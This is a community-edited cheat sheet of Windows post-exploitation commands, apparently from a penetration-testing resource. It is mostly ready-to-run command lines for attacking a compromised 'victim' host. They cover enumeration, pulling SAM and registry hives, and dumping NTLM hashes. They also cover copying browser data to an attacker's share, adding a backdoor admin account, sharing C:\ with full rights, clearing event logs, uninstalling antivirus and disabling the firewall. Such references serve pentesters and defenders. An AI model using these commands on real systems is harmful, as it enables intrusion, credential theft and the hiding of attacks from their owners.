Windows Post-Exploitation Command Execution

If for any you cannot access/edit these files in the future, please contact mubix@hak5.org

You can download these files in any format using Google Doc's File->Download As method

If you are viewing this on anything other than Google Docs then you can get access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and Windows here: http://bit.ly/nuc0N0/

DISCLAIMER: Anyone can edit these docs, and all that entails and implies

Table of Contents

Presence

This section focuses on information gathering about the victim host and the network that it's attached to.

Blind Files

(Things to pull when all you can do is to blindly read) LFI/Directory traversal(s) or remote file share instances like SMB/FTP/NFS or otherwise.. Files that will have the same name across networks / Windows domains / systems.

File	Expected Contents / Description
%SYSTEMDRIVE%\boot.ini	A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.
%WINDIR%\win.ini	This is another file to look for if boot.ini isn't there or coming back, which is sometimes the case.
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM	It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retrieved using forensic or Volume Shadow copy methods
%SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\RegBack\system	
%SYSTEMDRIVE%\autoexec.bat	
>insert new rows above this line<	**SEE IMPORTANT FILES SECTION FOR MORE IDEAS**

System

Command	Expected Output or Description
whoami	Lists your current user. Not present in all versions of Windows; however shall be present in Windows NT 6.0-6.1.
whoami /all	Lists current user, sid, groups current user is a member of and their sids as well as current privilege level.
set	Shows all current environmental variables. Specific ones to look for are

	USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE.
fsutil fsinfo drives	Must be an administrator to run this, but it lists the current drives on the system.
reg query HKLM /s /d /f "C:* *.exe" | find /I "C:\" | find /V """"	securely registered executables within the system registry on Windows 7.

Networking (ipconfig, netstat, net)

Command	Expected Output or Description
ipconfig /all	Displays the full information about your NIC's.
ipconfig /displaydns	Displays your local DNS cache.
netstat -nabo	Lists ports / connections with corresponding process (-b), don't perform looking (-n), all connections (-a) and owning process ID (-o)
netstat -r	Displays the routing table
netstat -na | findstr :445	Find all listening ports and connections on port 445
netstat -nao | findstr LISTENING	Find all LISTENING ports and their associated PIDs
netstat -anob | findstr "services, process or port"	The "b" flag makes the command take longer but will output the process name using each of the connections.
netsh diag show all	{**XP only**} Shows information on network services and adapters
net view	Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.
net view /domain	List all domains available to the host
net view /domain:otherdomain	Queries NBNS/SMB (SAMBA) and tries to find all hosts in the 'otherdomain'
net user %USERNAME% /domain	Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
net user /domain	Lists all of the domain users
net accounts	Prints the password policy for the local system. This can be different and superseded by the domain policy.

net accounts /domain	Prints the password policy for the domain
net localgroup administrators	Prints the members of the Administrators local group
net localgroup administrators /domain	as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
net group “Domain Admins” /domain	Prints the members of the Domain Admins group
net group “Enterprise Admins” /domain	Prints the members of the Enterprise Admins group
net group “Domain Controllers” /domain	Prints the list of Domain Controllers for the current domain
net share	Displays your currently shared SMB entries, and what path(s) they point to
net session | find / “\\”	
arp -a	Lists all the systems currently in the machine’s ARP table.
route print	Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
browstat (Not working on XP)	
netsh wlan show profiles	shows all saved wireless profiles. You may then export the info for those profiles with the command below
netsh wlan export profile folder=. key=clear	exports a user wifi profile with the password in plaintext to an xml file in the current working directory
netsh wlan [start|stop] hostednetwork	Starts or stops a wireless backdoor on a windows 7 pc
netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent|temporary	Complete hosted network setup for creating a wireless backdoor on win 7
netsh wlan set hostednetwork mode=[allow|disallow]	enables or disables hosted network service
wmic ntdomain list	Retrieve information about Domain and Domain Controller

- http://www.securityaegis.com/ntsd-backdoor/

Configs

Command	Expected Output or Description
gpresult /z	Extremely verbose output of GPO (Group policy) settings as applied to the current system and user
sc qc <servicename>	Queries the configuration of a service. Such as sc qc wuauserv (gives the start type, binary path, user, and other configuration items)
sc query	Used alone it will result in all services displayed, add a service name to the command to narrow it down
sc queryex	Extended information about all, or one service
type %WINDIR%\System32\drivers\etc\hosts	Print the contents of the Windows hosts file
echo %COMSPEC%	Usually going to be cmd.exe in the Windows directory, but it's good to know for sure.
c:\windows\system32\gathernetworkinfo.vbs	enumerates registry, firewall config, dns cache, etc.Included script with Windows 7,

Finding Important Files

Command	Description / Reason
tree C:\ /f /a > C:\output_of_tree.txt	Prints a directory listing in 'tree' format. The /a makes the tree printed with ASCII characters instead of special ones and the /f displays file names as well as folders
dir /a	Lists all files in a directory to include hidden and system files
dir /b /s [Directory or Filename]	Lists files and directories to include sub-directories (/s) in 'base' format (/b)
dir \ /s /b | find /I "searchstring"	Searches the output of dir from the root of the drive current drive (\) and all sub drectories (/s) using the 'base' format (/b) so that it outputs the full path for each listing, for 'searchstring' anywhere in the file name or path.
command | find /c /v ""	Counts the lines of whatever you use for 'command'

Files To Pull (if possible)

File location	Description / Reason
%SYSTEMDRIVE%\pagefile.sys	Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size
%WINDIR%\debug\NetSetup.log	
%WINDIR%\repair\sam	
%WINDIR%\repair\system	
%WINDIR%\repair\software	
%WINDIR%\repair\security	
%WINDIR%\iis6.log (5, 6 or 7)	
%WINDIR%\system32\logfiles\httperr\httperr1.log	IIS 6 error log
%SystemDrive%\inetpub\logs\LogFiles	IIS 7's logs location
%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day)	
%WINDIR%\system32\config\AppEvent.Evt	
%WINDIR%\system32\config\SecEvent.Evt	
%WINDIR%\system32\config\default.sav	
%WINDIR%\system32\config\security.sav	
%WINDIR%\system32\config\software.sav	
%WINDIR%\system32\config\system.sav	
%WINDIR%\system32\CCM\logs*.log	
%USERPROFILE%\ntuser.dat	
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat	
%WINDIR%\System32\drivers\etc\hosts	
unattend.txt, unattend.xml, sysprep.inf	Used in the automated deployment of windows

	images and can contain user accounts. Usually found in %WINDIR%\Panther\ or %WINDIR%\Panther\Unattend\ also in Registry at HKLM\System\Setup!UnattendFile

Remote System Access

Command	Description / Reason
net share \\computername	
tasklist /V /S computername	
qwinsta /SERVER:computername	
qprocess /SERVER:computername *	
net use \\computername	This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. This is less helpful as most commands will automatically make this connection if needed
net use \\computername /user:DOMAIN\username password	Using the IPC$ mount use a user name and password allows you to access commands that do not usually ask for a username and password as a different user in the context of the remote system. This is useful when you've gotten credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on.
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f	Enable remote desktop.
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f	Enable remote assistance

- net time \\computername (Shows the time of target computer)
- dir \\computername\share_or_admin_share\ (dir list a remote directory)
- tasklist /V /S computername

- Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount

Auto-Start Directories

- ver (Returns kernel version - like uname on *nix)

Windows NT 6.1, 6.0	%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Windows NT 5.2, 5.1, 5,0	%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
Windows 9x	%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\
Windows NT 4.0, 3.51, 3.50	%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\

Persistance

This section focuses on gaining a foothold to re-gain, or re-obtain access to a system through means of authentication, backdoors, etc..

Binary Planting

Location / File name	Reason / Description
msiexec.exe	Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution.
%SystemRoot%\System32\wbem\mof\	Taken from stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vuln
Check the $PATH environmental variable	Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108

WMI

- wmic bios
- wmic qfe qfe get hotfixid
- (This gets patches IDs)
- wmic startupwmic service
- wmic process get caption,executablepath,commandline
- wmic process call create “process_name” (executes a program)
- wmic process where name=”process_name” call terminate (terminates program)
- wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information)
- wmic useraccount (usernames, sid, and various security related goodies)
- wmic useraccount get /ALL
- wmic share get /ALL (you can use ? for gets help !)
- wmic startup list full (this can be a huge list!!!)
- wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)

Reg Command exit

- reg save HKLM\Security security.hive (Save security hive to a file)
- reg save HKLM\System system.hive (Save system hive to a file)
- reg save HKLM\SAM sam.hive (Save sam to a file)=
- reg add [\\TargetIPaddr\] [RegDomain][\Key]
- reg export [RegDomain]\[Key] [FileName]
- reg import [FileName]
- reg query [\\TargetIPaddr\] [RegDomain]\[Key] /v [Valuename!] (you can to add /s for recurse all values)

Deleting Logs

- wevtutil el (list logs)
- wevtutil cl <LogName> (Clear specific lowbadming)
- del %WINDIR%*.log /a /s /q /f

Uninstalling Software “AntiVirus” (Non interactive)

- wmic product get name /value (this gets software names)
- wmic product where name="XXX" call uninstall /nointeractive (this uninstalls software)

Other (to be sorted)

- pkgmgr usefull /iu :”Package”
- pkgmgr usefull /iu :”TelnetServer” (Install Telnet Service ...)
- pkgmgr /iu:”TelnetClient” (Client)
- rundll32.exe user32.dll, LockWorkStation (locks the screen -invasive-)
- wscript.exe <script js/vbs>
- cscript.exe <script js/vbs/c#>
- xcopy /C /S %appdata%\Mozilla\Firefox\Profiles*.sqlite \\your_box\firefox_funstuff

- OS SPECIFICwmicWin2k3
- winpop stat domainname

Vista/7

- winstat features
- wbadmin get status
- wbadmin get items
- gpresult /H gpols.htm
- bcdedit /export <filename>

Vista SP1/7/2008/2008R2 (x86 & x64)

Enable/Disable Windows features with Deployment Image Servicing and Management (DISM):
Note Works well after bypassuac + getsystem (requires system privileges)
Note2 For Dism.exe to work on x64 systems, the long commands are necessary

To list features which can be enabled/disabled:
- %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /get-features

To enable a feature (TFTP client for example):
- %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /enable-feature /featurename:TFTP

To disable a feature (again TFTP client):
- %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /disable-feature /featurename:TFTP

Invasive or Altering Commands

These commands change things on the target and can lead to getting detected

Command	Description
net user hacker hacker /add	Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators /add hacker or net localgroup administrators hacker /add	Adds the new user ‘hacker’ to the local administrators group
net share nothing$=C:\ /grant:hacker,FULL	Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to

/unlimited	access, or modify anything on that drive. One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn't a problem but it is something to keep in mind
net user username /active:yes /domain	Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
netsh firewall set opmode disable	Disables the local windows firewall
netsh firewall set opmode enable	Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it.

Support Tools Binaries / Links / Usage

Command	Link to download	Description

Third Party Portable Tools

(must be contained in a single executable)

REMEMBER: DO NOT RUN BINARIES YOU HAVEN'T VETTED - BINARIES BELOW ARE NOT BEING VOUCHED FOR IN ANY WAY AS THIS DOCUMENT CAN BE EDITED BY ANYONE

Command	Link to download	Description
carrot.exe /im /ie /ff /gc /wlan /vnc /ps /np /mp /dialup /pwdump	http://h.ackack.net/carrot-exe.html	-invasive- Recovers a bunch passwordnetsh firewall set opmode disables.
PwDump7.exe > ntlm.txt	http://www.tarasco.org/security/pwdump_7/	-invasive- Dumps Windows NTLM hashes. Holds the credentials for all accounts.

	http://www.nirsoft.net/utils/nircmd.html	A collection of small nifty features.
adfind.exe -b ou=ActiveDirectory,dc=example,dc=com -f "objectClass=user" sn givenName samaccountname -nodn -adcsv > exported_users.csv	http://www.joeware.net/freetools/	Joeware tools have been used by admins for a while. This command will output the firstname, lastname and username of everyone in the AD domain example.com. Edit as needed.
Various tools (e.g. \\hackarmoury.com\tools\all_binaries\fgdump.exe)	Some examples of protocols in use: http://hackarmoury.com/tools \\hackarmoury.com\tools ftp://hackarmoury.com svn://hackarmoury.com svn://hackarmoury.com http://ipv6.hackarmoury.com (IPv6 ONLY)	HackArmoury.com is a site run by pentesters for pentesters, hosting a wide range of common tools accessible over many different protocols (e.g. Samba, HTTP[S], FTP, RSync, SVN, TFTP, IPv6 etc). The idea is you can access a common toolset from anywhere, without even needing to copy over the binaries to the host in the case of SMB. No registration or authentication required.